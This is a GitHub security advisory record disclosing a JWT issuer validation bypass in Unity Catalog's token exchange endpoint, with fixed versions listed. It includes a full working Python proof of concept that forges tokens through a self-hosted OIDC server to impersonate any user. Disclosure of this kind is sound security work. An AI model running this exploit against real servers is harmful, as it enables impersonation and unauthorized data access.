{"id":"GHSA-qqcj-rghw-829x","summary":"Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation","details":"**Context:**\nA critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.\n\n**Way to exploit:**\n\nAn attacker can exploit this by:\n1. Hosting their own OIDC-compliant server with a valid JWKS endpoint\n2. Signing a JWT with their own private key, setting the iss claim to their server\n3. Setting the sub/email claim to any known user in the Unity Catalog system\n4. Exchanging this crafted token for a valid internal access token\n\nThis results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.\n\nAdditionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.\n\n**Example**\n\nExample implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.\n\nThis can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version\"\"\"\n\nimport base64, secrets, threading, time\nfrom datetime import datetime, timedelta, timezone\nimport jwt, requests\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom flask import Flask, jsonify\n\nTARGET_USER = \"user@example.com\"\nUC_SERVER = \"http://localhost:8080\"\nPORT = 8888\nISSUER = f\"http://localhost:{PORT}\"\n\n# Generate RSA key pair\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\nkid = secrets.token_hex(8)\n\n# Create JWKS\npub = key.public_key().public_numbers()\ndef b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, \"big\")).rstrip(b\"=\").decode()\njwks = {\"keys\": [{\"kty\": \"RSA\", \"use\": \"sig\", \"alg\": \"RS256\", \"kid\": kid, \"n\": b64(pub.n), \"e\": b64(pub.e)}]}\n\n# Create malicious JWT\ntoken = jwt.encode(\n    {\"iss\": ISSUER, \"sub\": TARGET_USER, \"email\": TARGET_USER, \"aud\": \"unity-catalog\",\n     \"iat\": datetime.now(timezone.utc), \"exp\": datetime.now(timezone.utc) + timedelta(hours=1)},\n    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),\n    algorithm=\"RS256\", headers={\"kid\": kid}\n)\n\n# Start minimal OIDC server\napp = Flask(__name__)\napp.logger.disabled = True\n\n@app.route(\"/.well-known/openid-configuration\")\ndef oidc(): return jsonify({\"issuer\": ISSUER, \"jwks_uri\": f\"{ISSUER}/jwks\"})\n\n@app.route(\"/jwks\")\ndef keys(): return jsonify(jwks)\n\nthreading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()\ntime.sleep(1)\n\n# Exchange token\nresp = requests.post(f\"{UC_SERVER}/api/1.0/unity-control/auth/tokens\",\n                     data={\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",\n                           \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",\n                           \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",\n                           \"subject_token\": token})\n\nif resp.status_code == 200:\n    access_token = resp.json()[\"access_token\"]\n    print(f\"[+] Got access token as '{TARGET_USER}'\")\n    # Demo: list catalogs\n    catalogs = requests.get(f\"{UC_SERVER}/api/2.1/unity-catalog/catalogs\",\n                            headers={\"Authorization\": f\"Bearer {access_token}\"})\n    print(catalogs.json())\nelse:\n    print(f\"[-] Failed: {resp.status_code} {resp.text}\")\n```","aliases":["CVE-2026-27478"],"modified":"2026-05-11T18:19:20.413658Z","published":"2026-05-11T17:58:40Z","database_specific":{"github_reviewed":true,"cwe_ids":["CWE-1390","CWE-290","CWE-346"],"severity":"CRITICAL","github_reviewed_at":"2026-05-11T17:58:40Z","nvd_published_at":"2026-03-11T20:16:14Z"},"references":[{"type":"WEB","url":"https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27478"},{"type":"PACKAGE","url":"https://github.com/unitycatalog/unitycatalog"},{"type":"WEB","url":"https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1"}],"affected":[{"package":{"name":"io.unitycatalog:unitycatalog-server","ecosystem":"Maven","purl":"pkg:maven/io.unitycatalog/unitycatalog-server"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.1"}]}],"versions":["0.1.0","0.2.0","0.2.1","0.3.0","0.3.1","0.4.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-qqcj-rghw-829x/GHSA-qqcj-rghw-829x.json","last_known_affected_version_range":"\u003c= 0.4.0"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}